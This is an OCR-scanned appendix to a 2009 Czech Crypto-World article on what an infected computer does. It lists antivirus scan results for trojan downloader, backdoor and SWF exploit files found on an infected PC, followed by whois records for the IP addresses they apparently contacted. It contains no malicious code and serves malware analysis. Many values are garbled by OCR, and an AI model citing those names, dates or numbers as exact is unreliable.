
leTrust-Vet 31.6.6455 2009.04.14 |

[F-Prot 4.4.4.56 2009.04.14 |

[F-Secure 8.0.14470.0 2009.04.15 |

[Fortinet 3.117.0.0 2009.04.15 \W32/Cimag.AE!tr
\GData 19 2009.04.15 |

lIkarus T3.1.1.49.0 2009.04.15 | Trojan-Downloader.Win32.Injecter
[K7AntiVirus 7.10.704 2009.04.15 |

\Kaspersky 7.0.0.125 2009/04.15 Trojan-Downloader.Win32.Injecter.crd
IMcAfee 3584 2009.04.14 |

McAfee+Artemis 5584 2000.04.14 |
IMcAfee-GW-Edition  6.7/6 2009.04.15 |Trojan.Dropper.Gen
Microsoft 1.4502 2009/04.15 |

INOD32 14009 2009.04.15 \Win32/Cimag.AE
INorman 6.00.06 2009.04.14 |

InProtect 2009.1.8.0 2009.04.15 |

Panda 10.0.0.14 2009.04.14 |Suspicious file
IPCTools 4.4.2.0 2009.04.14 |

Prevx1 2 20)09.04.15 |

Rising 21.25.23.00 2009.04.15 | Trojan.Win32.Nodef.idr
'Sophos 4.40.0 2009.04.15 |

'Sunbelt 3.2.1858.2 2009 D4.15 |

|Symantec 14412 2003.04.15 |Backdoor.Trojan
TheHacker €/3.4.0.309 2009 04.15 |

TrendMicro 8.700.0.1004 2009.04.15 |

\VBA32 8.12.10.2 2009.04.12 |

\ViRobot 2009.4.15.1694 2009 D4.15 |

\VirusBuster 4.65.0 2009.04.15 - |
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Priloha k ¢lanku: Co provadi infikovany pogéita¢?

Soubor: C:/Documents and Settings/Jerry/Jerry.exe

Crypto-World 9/2009

'Soubor Jerry.exe p

Fijaty 2009.04.15 14:16:03 (CET)

Antivirus Ver%e zli)tilZI(ijznallce Vysledek

la-squared 4.0.0.101 2009.04.15 |Virus.Win32.Rootkit. CFIIK
\AhnLab-V3 5.0.0.2 2009.04.15 |Win-Trojan/Agent2.20435.B
/AntiVir 7.9,0.143 2009.04.15 [TR/Kobcka.HV.4
/Antiy-AVL 2.03.1 2009 D4.15 |

|Authentium 5.1.2.4 2009 04.14 |

|Avast 4/8.1335.0 2009,04.14 |Win32:Rootkit-CF

IAVG 8.5.0.287 2009.04.15 [Downloader.Small.FQL
BitDefender 7.2| 2009.04.15 [Trojan.Kobcka.HV
|CAT-QuickHeal 10.00 2009.04.15 [Trojan.Agent2.hpa
IClamAV 0.94.1 2009.04.15 |

\Comodo 1115 2009.04.15 |

IDrweb £.44.0.09170 2009.04.15 [Trojan.DownLoad.33158
leSafe 7.0.17.0 2009.04.13 |

leTrust-Vet 31.6.6455 2009.04.14 |

F-Prot 4.4.4.56 2009.04.14 |

[F-Secure 8.0.14470.0 2009.04.15 |

[Fortinet 3.117.0.0 2009.04.15 |PossibleThreat

\GData 19 2009.04.15 [Trojan.Kobcka.HV

lIkarus T3.1.1.49.0 2009.04.15 |Virus.Win32.Rootkit.CF
[K7AntiVirus 7.10.704 2009.04.15 [Trojan.Win32.Malware.1
[Kaspersky 7.0.0.125 2009,04.15 |

IMcAfee 3584 2009.04.14 |

IMcAfee+Artemis 5584 2000.04.14 |GenericlArtemis
IMcAfee-GW-Edition  |6.7.6 2009.04.15 [Trojan.Kobcka.HV.4
Microsoft 1.4502 2009/04.15 |

INOD32 14009 2009.04.15 |Win32/TrojanDownloader.Wigon.CA
INorman 6.00.06 2009.04.14 |

InProtect 2009.1.8.0 2009.04.15 [Trojan/W32.Agent2.20435
Panda 10.0.0.14 2009.04.14 [Tri/CLA

IPCTools 4420 2009.04.14 |

Prevx1 V2 20)09.04.15 [High Risk Cloaked Malware
Rising 21.25.23.00 2009.04.15 [Trojan.DL.Win32.Nodef.kr
'Sophos 4.40.0 200)9.04.15 [Mal/Pushdo-A

'Sunbelt 3.2.1858.2 2009 D4.15 |

|Symantec 14.4.12 2003.04.15 [Downloader

TheHacker €/3.4.0.309 2009 04.15 [Trojan/Agent2.hoy
TrendMicro 8.700.0.1004 2009.04.15 |

\VBA32 8.12.10.2 2009.04.12 |

\ViRobot 2009.4.15.1694 2009 04.15 |

\VirusBuster 4650 2009.04.15 |
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Priloha k ¢lanku: Co provadi infikovany pogéita¢?

Soubor: C:/Documents and Settings/Jerry/Local Setti
Files/Content.IE5/412ZGDAB/74113[1].exe

Crypto-World 9/2009

ngs/Temporary Internet

'Soubor 74113_1_.exe p

Fijaty 2009.04.15 14:15:12 (CET)

‘Antivirus Verze Posledni aktualizace Vysledek |

la-squared 4.0.0.101 2009.04.15 [Backdoor.Win32.KeyStart!IK
\AhnLab-V3 50.0.2 2009.04.15 |Win-Trojan/Slupim.72704
/AntiVir 7.9/0.143 2009.04.15 [TR/Downloader.Gen
/Antiy-AVL 2.03.1 2009 D4.15 - |

|Authentium 5.1.2.4 2009 04.14 - |

|Avast 4/8.1335.0 2009,04.14 |Win32:Trojan-gen {Other}
IAVG 8.5.0.287 2009.04.15 [Downloader.Generic8.AFYY
BitDefender 7.2| 2009.04.15 - |

|CAT-QuickHeal 10.00 2009.04.15 [Backdoor.KeyStart.ci
IClamAV 0.94.1 2009.04.15 -

\Comodo 1115 2009.04.15 -

IDrweb #.44.0.09170  2000.04.15 [Trojan.DownLoad.31797
leSafe 7.0.17.0 2009.04.13 |Win32.TRDownloader
leTrust-Vet 31.6.6455 2009.04.14 |Win32/Slupim.A

F-Prot 4.4.4.56 2009.04.14 - |

[F-Secure 8.0.14470.0  2009.04.15 [Backdoor.Win32.KeyStart.ch
[Fortinet 3.117.0.0 2009.04.15 |PossibleThreat

\GData 19 2009.04.15 |Win32:Trojan-gen {Other}
lIkarus T3.1.1.49.0  2009.04.15 [Backdoor.Win32.KeyStart
[K7AntiVirus 7.10.704 2009.04.15 [Trojan.Win32.Malware.1
[Kaspersky 70.0.125 2009,04.15 [Backdoor.Win32.KeyStart.ch
IMcAfee 5584 2009.04.14 -

IMcAfee+Artemis 5584 2000.04.14 |GenericlArtemis
I\E/Ic(j:i,tbi\gane-GW- 6.7.6 2009.04.15 Trojan.Downloader.Gen
\Microsoft 1.4502 2009/04.15 [Trojan:Win32/Slupim.B
NOD32 4009 7009.04.15 3V\i/r??r>I2a/r':'trgjfanDownloader.Agent.OWB
INorman 6.00.06 2009.04.14 -

InProtect 2009.1.8.0 2009.04.15 [Backdoor/W32.KeyStart.72704.J
Panda 10.0.0.14 2009.04.14 - |

IPCTools 4420 2009.04.14 - |

Prevx1 V2 20)09.04.15 [Medium Risk Malware Downloader
Rising 21.25.23.00  2009.04.15 - |

'Sophos 4.40.0 200)9.04.15 [Mal/Generic-A

'Sunbelt 3.2.1858.2 2009 D4.15 [Trojan-Win32/Slupim.B
|Symantec 14.4.12 2003.04.15 [Downloader

TheHacker €/3.4.0.309 2009 04.15 [Backdoor/KeyStart.ch
TrendMicro 8.700.0.1004  2009.04.15 [PAK_Generic.001

\VBA32 8.12.10.2 2009.04.12 -

\ViRobot 2009.4.15.1694 12009.04.15 -

\VirusBuster 4650 2009.04.15 - |
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Priloha k ¢lanku: Co provadi infikovany poéita¢?

Soubor: C:/Documents and Settings/Jerry/Local Setti
Files/Content.IE5/4DURU9UB/flash[2].swf

Crypto-World 9/2009

ngs/Temporary Internet

'Soubor flash_2_.swf p

Fijaty 2009.04.15 14:16:46 (CET)

‘Antivirus Verze Posledni aktualizace \Vysledek
la-squared 4.0.0.101 2009.04.15 [Exploit. SWF!IK
/AhnLab-V3 5,0.0.2 2009.04.15 |

AntiVir 7.9/0.143 2009.04.15 |
/Antiy-AVL 2.0.3.1 2009.04.15 |
‘Authentium 5.1.2.4 2009 04.14 |

\Avast 4/8.1335.0 2009/04.14 |

AVG 8.5.0.287 2009.04.15 |
BitDefender 7.2| 2009.04.15 [Exploit. SWF.Gen
ICAT-QuickHeal 10.00 2009.04.15 |
IClamAV 0.94.1 2009.04.15 |
\Comodo 1115 2009.04.15 |

IDrweb 4.44.0.09170 2000.04.15 |

leSafe 7.0.17.0 2009.04.13 |
leTrust-Vet 31.6.6455 2009.04.14 |

F-Prot 4.4.4.56 2009.04.14 |
[F-Secure 8.0.14470.0  2009.04.15 |

Fortinet 3.117.0.0 2009.04.15 |

\GData 19 2009.04.15 [Exploit. SWF.Gen
Ikarus T3.1.1.49.0  2009.04.15 [Exploit. SWF
K7AntiVirus 7.10.704 2009.04.15 |
Kaspersky 7.0.0.125 2009,04.15 |

McAfee 5584 2009.04.14 |
IMcAfee+Artemis 5584 2000.04.14 |
McAfee-GW-Edition  |6.7.6 2009.04.15 |
Microsoft 1.4502 2009.04.15 |

INOD32 14009 2009.04.15 |

'Norman 6.00.06 2009.04.14 |
InProtect 2009.1.8.0 2009.04.15 |

Panda 10.0.0.14 2009.04.14 |
IPCTools 44.2.0 2009.04.14 |

Prevx1 V2 2009.04.15 |

Rising 21.25.23.00  2009.04.15 |

'Sophos 4.40.0 2009.04.15 |

'Sunbelt 3.2.1858.2 2009 D4.15 |
'Symantec 14.4.12 2009.04.15 |
'TheHacker 6/3.4.0.309  2009.04.15 |
TrendMicro 8.700.0.1004 2009.04.15 |

\VBA32 8.12.10.2 2009.04.12 |
\ViRobot 2009.4.15.1694 12009.04.15 |
\VirusBuster 4.6)5.0 2009.04.15 |
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Priloha k ¢lanku: Co provadi infikovany poéitaé?

Whois zaznam94.247.3.150

% This is the RIPE Database query service.

% The objects are in RPSL format.

%

% The RIPE Database is subject to Terms and Conditions.

% See http://www.ripe.net/db/support/db-terms-conditions.pdf

% Note: This output has been filtered.
% To receive output for a database update, use the "-B" flag.

% Information related to '94.247.2.0 - 94.247.3.255'

inethum: 94.247.2.0 - 94.247.3.255
netname: ZLKON

descr: ZIKon

country: LV

admin-c: ZK508-RIPE

tech-c: DES31-RIPE

status: ASSIGNED PA

mnt-by: PCEXPRESS-MNT

mnt-lower: ZLKON-MNT
mnt-routes: ZLKON-MNT

source: RIPE # Filtered

role: ZIKon HostMaster

address: Lilijas iela 4-74

address: Riga, LV-1055

address: Latvija

phone: +371 26330593

admin-c: AD5952-RIPE

tech-c: AD5952-RIPE

nic-hdl: ZK508-RIPE

mnt-by: ZLKON-MNT

source: RIPE # Filtered

abuse-mailbox: abuse@zlkon.lv

role: DATORU EXPRESS SERVISS HostMaster
address: 18. novembra street 319C

address: Daugavpils, LV-5413

address: Latvia

phone: +371 26631339

fax-no: +371 65420725

remarks: Information: http://www.pcexpress.lv
remarks: Questions: hostmaster@pcexpress.|v
admin-c: IV745-RIPE

tech-c: IV745-RIPE

nic-hdl: DES31-RIPE

mnt-by: PCEXPRESS-MNT

source: RIPE # Filtered

abuse-mailbox: abuse@pcexpress.lv

% Information related to '94.247.0.0/21AS12553'

route: 94.247.0.0/21

descr: "DATORU EXPRESS SERVISS" Ltd.
origin: AS12553

mnt-by: PCEXPRESS-MNT

source: RIPE # Filtered
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Priloha k ¢lanku: Co provadi infikovany poéitaé?

Whois zdznam78.109.29.112

% This is the RIPE Database query service.

% The objects are in RPSL format.

%

% The RIPE Database is subject to Terms and Conditions.

% See http:/ /www.ripe.net/db/support/db-terms-conditions.pdf

% Note: This output has been filtered.
%  To receive output for a database update, use the "-B" flag.

% Information related to '78.109.29.112 - 78.109.29.119'

inetnum: 78.109.29.112 - 78.109.29.119
netname: trustnet

descr: trustnet - William Le Ferrand
country: UA

admin-c: WLF5-RIPE

tech-c: WLF5-RIPE

status: ASSIGNED PA

mnt-by: MNT-HOSTINGUA

source: RIPE # Filtered

person: William Le Ferrand

address: Champnovel, Coise, FR, 73800
abuse-mailbox: trustnetalliance@gmail.com
phone: +0033684015292

nic-hdl: WLF5-RIPE

source: RIPE # Filtered

% Information related to '78.109.16.0/20AS41665'

route: 78.109.16.0/20

descr: Datacenter Hosting. UA
origin: AS41665

mnt-by: MNT-HOSTINGUA
source: RIPE # Filtered
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Priloha k ¢lanku: Co provadi infikovany poéitaé?

Whois zdznam 213.155.6.34

% This is the RIPE Database query service.

% The objects are in RPSL format.

%

% The RIPE Database is subject to Terms and Conditions.

% See http:/ /www.ripe.net/db/support/db-terms-conditions.pdf

% Note: This output has been filtered.
%  To receive output for a database update, use the "-B" flag.

% Information related to '213.155.6.32 - 213.155.6.39'

inetnum: 213.155.6.32 - 213.155.6.39
netname: tonkin-ind

descr: tonkin-ind - Aleksandr Tonkin
country: UA

admin-c: AT6286-RIPE

tech-c: AT6286-RIPE

status: ASSIGNED PA

mnt-by: MNT-HOSTINGUA

source: RIPE # Filtered

person: Aleksandr Tonkin
address: UA, Kiev, Narkolova 3
phone: +3806883274637

nic-hdl: AT6286-RIPE
abuse-mailbox: tonkin-ind@yandex.ru
source: RIPE # Filtered

% Information related to '213.155.0.0/19AS41665'

route: 213.155.0.0/19

descr: Datacenter Hosting. UA
origin: AS41665

mnt-by: MNT-HOSTINGUA
source: RIPE # Filtered
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Priloha k ¢lanku: Co provadi infikovany poéitaé?

Whois zdznam 74.54.135.202
Connecting to whois.arin.net...

OrgName: ThePlanet.com Internet Services, Inc.
OrgID: TPCM

Address: 315 Capitol

Address: Suite 205

City: Houston

StateProv: TX

PostalCode: 77002

Country: US

ReferralServer: rwhois://rwhois.theplanet.com:4321

NetRange: 74.52.0.0 - 74.55.255.255
CIDR: 74.52.0.0/14

OriginAS: AS13749, AS21844, AS30315, AS36420
NetName: NETBLK-THEPLANET-BLK-14
NetHandle: NET-74-52-0-0-1

Parent: NET-74-0-0-0-0

NetType: Direct Allocation
NameServer: NS1.THEPLANET.COM
NameServer: NS2.THEPLANET.COM
Comment:

RegDate: 2006-02-17

Updated: 2009-02-24

RAbuseHandle: ABUSE271-ARIN
RAbuseName: The Planet Abuse
RAbusePhone: +1-281-714-3560
RAbuseEmail: abuse@theplanet.com

RNOCHandle: THEPL-ARIN
RNOCName: The Planet NOC
RNOCPhone: +1-281-714-3555
RNOCEmail: noc@theplanet.com

RTechHandle: TECHN33-ARIN
RTechName: Technical Support
RTechPhone: +1-214-782-7800
RTechEmail: admins@theplanet.com

OrgAbuseHandle: ABUSE271-ARIN
OrgAbuseName: The Planet Abuse
OrgAbusePhone: +1-281-714-3560
OrgAbuseEmail: abuse@theplanet.com

OrgNOCHandle: THEPL-ARIN
OrgNOCName: The Planet NOC
OrgNOCPhone: +1-281-714-3555
OrgNOCEmail: noc@theplanet.com

OrgTechHandle: TECHN33-ARIN
OrgTechName: Technical Support
OrgTechPhone: +1-214-782-7800
OrgTechEmail: admins@theplanet.com

# ARIN WHOIS database, last updated 2009-09-05 20:00

# Enter ? for additional hints on searching ARIN's WHOIS database.
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Priloha k ¢lanku: Co provadi infikovany poéitaé? Crypto-World 9/2009

Whois zdznam 83.133.127.5

% This is the RIPE Database query service.

% The objects are in RPSL format.

%

% The RIPE Database is subject to Terms and Conditions.

% See http://www.ripe.net/db/support/db-terms-conditions.pdf

% Note: This output has been filtered.
% To receive output for a database update, use the "-B" flag.

% Information related to '83.133.96.0 - 83.133.127.255'

inethum: 83.133.96.0 - 83.133.127.255
netname: LNCDE-GREATNET-NEWMEDIA
descr: Greatnet New Media.
country: DE

admin-c: FL1331-RIPE

tech-c: FL1331-RIPE

status: ASSIGNED PA

mnt-by: LNC-MNT

mnt-lower: LNC-MNT

source: RIPE # Filtered
person: Frazzetta Lindner
address: Greatnet New Media
address: Brentenstrasse 4a
address: D-83734 Hausham
address: Germany

phone: +49 1805 47328638
fax-no: +49 1805 444894696
nic-hdl: FL1331-RIPE
abuse-mailbox: abuse@greatnet.de
mnt-by: LNC-MNT

source: RIPE # Filtered

% Information related to '83.133.0.0/16AS13237'

route: 83.133.0.0/16

descr: Lambdanet Operations - German region
origin: AS13237

mnt-by: LNC-MNT

source: RIPE # Filtered
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